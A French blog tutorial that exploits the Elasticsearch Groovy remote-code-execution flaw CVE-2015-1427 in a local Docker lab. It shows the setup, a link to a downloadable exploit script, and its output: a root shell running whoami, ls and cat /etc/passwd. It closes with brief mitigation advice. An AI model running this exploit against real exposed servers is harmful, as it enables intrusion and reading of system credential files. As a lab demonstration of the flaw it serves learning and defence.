Un remote shell via un exploit (RCE) sur ElasticSearch (< 1.3.8 - 1.4.x < 1.4.3)

By KrustyHack / a couple of years ago

ElasticSearch

Elasticsearch est un moteur de recherche libre open source utilisant Lucene. Il permet d’indexer des données dans une base NoSQL et est distribué (cloud computing).

Installation

Pour installer Elasticsearch il nous suffit d’utiliser Docker, rien de plus simple ! Et oui !

#: docker run -d -p 9200:9200 -p 9300:9300 elasticsearch:1.3.7

Exploitation d’une mauvaise configuration

Dans l’exemple précédent, le docker lancé expose 2 ports: le 9200 et le 9300. Le problème c’est que ces ports sont exposés publiquement:

#: docker ps
CONTAINER ID        IMAGE                  COMMAND                CREATED             STATUS              PORTS                                            NAMES
da595817f5e5        elasticsearch:1.3.7   "/docker-entrypoint.   25 seconds ago      Up 22 seconds       0.0.0.0:9200->9200/tcp, 0.0.0.0:9300->9300/tcp   sad_swartz

Et cette exposition publique va poser un gros problème à cause d’une faille de type RCE qui permet à un attaquant d’exécuter du code sur la machine hôte (ici le docker).

On check notre install:

#: curl localhost:9200
{
  "status" : 200,
  "name" : "Doctor Spectrum",
  "cluster_name" : "elasticsearch",
  "version" : {
    "number" : "1.5.0",
    "build_hash" : "544816042d40151d3ce4ba4f95399d7860dc2e92",
    "build_timestamp" : "2015-03-23T14:30:58Z",
    "build_snapshot" : false,
    "lucene_version" : "4.10.4"
  },
  "tagline" : "You Know, for Search"
}

On rajoute des données:

#: curl -XPUT 'http://localhost:9200/test/test/test' -d '{
    "user" : "kimchy",
    "post_date" : "2009-11-15T14:12:12",
    "message" : "trying out Elasticsearch"
}'
{"_index":"test","_type":"test","_id":"test","_version":1,"created":true}

Mise en pratique

On récupère l’exploit: https://gitlab.blackcreeper.com/pentest/elasticsearch-exploit/raw/master/elasticsearch.py

Et on exécute:

#: python elasticsearch.py localhost

▓█████  ██▓    ▄▄▄        ██████ ▄▄▄█████▓ ██▓ ▄████▄    ██████  ██░ ██ ▓█████  ██▓     ██▓   
▓█   ▀ ▓██▒   ▒████▄    ▒██    ▒ ▓  ██▒ ▓▒▓██▒▒██▀ ▀█  ▒██    ▒ ▓██░ ██▒▓█   ▀ ▓██▒    ▓██▒   
▒███   ▒██░   ▒██  ▀█▄  ░ ▓██▄   ▒ ▓██░ ▒░▒██▒▒▓█    ▄ ░ ▓██▄   ▒██▀▀██░▒███   ▒██░    ▒██░   
▒▓█  ▄ ▒██░   ░██▄▄▄▄██   ▒   ██▒░ ▓██▓ ░ ░██░▒▓▓▄ ▄██▒  ▒   ██▒░▓█ ░██ ▒▓█  ▄ ▒██░    ▒██░   
░▒████▒░██████▒▓█   ▓██▒▒██████▒▒  ▒██▒ ░ ░██░▒ ▓███▀ ░▒██████▒▒░▓█▒░██▓░▒████▒░██████▒░██████▒
░░ ▒░ ░░ ▒░▓  ░▒▒   ▓▒█░▒ ▒▓▒ ▒ ░  ▒ ░░   ░▓  ░ ░▒ ▒  ░▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒░░ ▒░ ░░ ▒░▓  ░░ ▒░▓  ░
 ░ ░  ░░ ░ ▒  ░ ▒   ▒▒ ░░ ░▒  ░ ░    ░     ▒ ░  ░  ▒   ░ ░▒  ░ ░ ▒ ░▒░ ░ ░ ░  ░░ ░ ▒  ░░ ░ ▒  ░
   ░     ░ ░    ░   ▒   ░  ░  ░    ░       ▒ ░░        ░  ░  ░   ░  ░░ ░   ░     ░ ░     ░ ░  
   ░  ░    ░  ░     ░  ░      ░            ░  ░ ░            ░   ░  ░  ░   ░  ░    ░  ░    ░  ░
                                              ░                                               
 Exploit for ElasticSearch , CVE-2015-1427   Version: 20150309.1
{*} Spawning Shell on target... Do note, its only semi-interactive... Use it to drop a better payload or something
~$ whoami
{u'hits': {u'hits': [{u'_score': 1.0, u'_type': u'test', u'_id': u'test', u'fields': {u'lupin': [u'root\n']}, u'_index': u'test'}], u'total': 1, u'max_score': 1.0}, u'_shards': {u'successful': 5, u'failed': 0, u'total': 5}, u'took': 5, u'timed_out': False}
root
~$ pwd
{u'hits': {u'hits': [{u'_score': 1.0, u'_type': u'test', u'_id': u'test', u'fields': {u'lupin': [u'/data\n']}, u'_index': u'test'}], u'total': 1, u'max_score': 1.0}, u'_shards': {u'successful': 5, u'failed': 0, u'total': 5}, u'took': 254, u'timed_out': False}
/data
~$ ls
{u'hits': {u'hits': [{u'_score': 1.0, u'_type': u'test', u'_id': u'test', u'fields': {u'lupin': [u'data\nlog\n']}, u'_index': u'test'}], u'total': 1, u'max_score': 1.0}, u'_shards': {u'successful': 5, u'failed': 0, u'total': 5}, u'took': 5, u'timed_out': False}
data
log
~$ cat /etc/passwd
{u'hits': {u'hits': [{u'_score': 1.0, u'_type': u'test', u'_id': u'test', u'fields': {u'lupin': [u'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nlibuuid:x:100:101::/var/lib/libuuid:\nsyslog:x:101:104::/home/syslog:/bin/false\nmessagebus:x:102:106::/var/run/dbus:/bin/false\ncolord:x:103:108:colord colour management daemon,,,:/var/lib/colord:/bin/false\n']}, u'_index': u'test'}], u'total': 1, u'max_score': 1.0}, u'_shards': {u'successful': 5, u'failed': 0, u'total': 5}, u'took': 127, u'timed_out': False}
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
colord:x:103:108:colord colour management daemon,,,:/var/lib/colord:/bin/false

Comme vous voyez, on a catché un accès root sur la machine hôte et on a affiché /etc/passwd. Alors ici c’est un Docker, donc on « a de la chance » c’est cloisonné. Mais sur un hôte normal, genre sur un serveur classique, l’accès root pourrait être fatal.

Bon pour l’output je l’ai mis bien causant mais il suffit d’enlever le print dans le python pour ne pas avoir le dump à chaque fois.

S’en protéger

Rien de plus simple: mettre à jour ElasticSearch et binder les ports en local (127.0.0.1).

Leave a comment: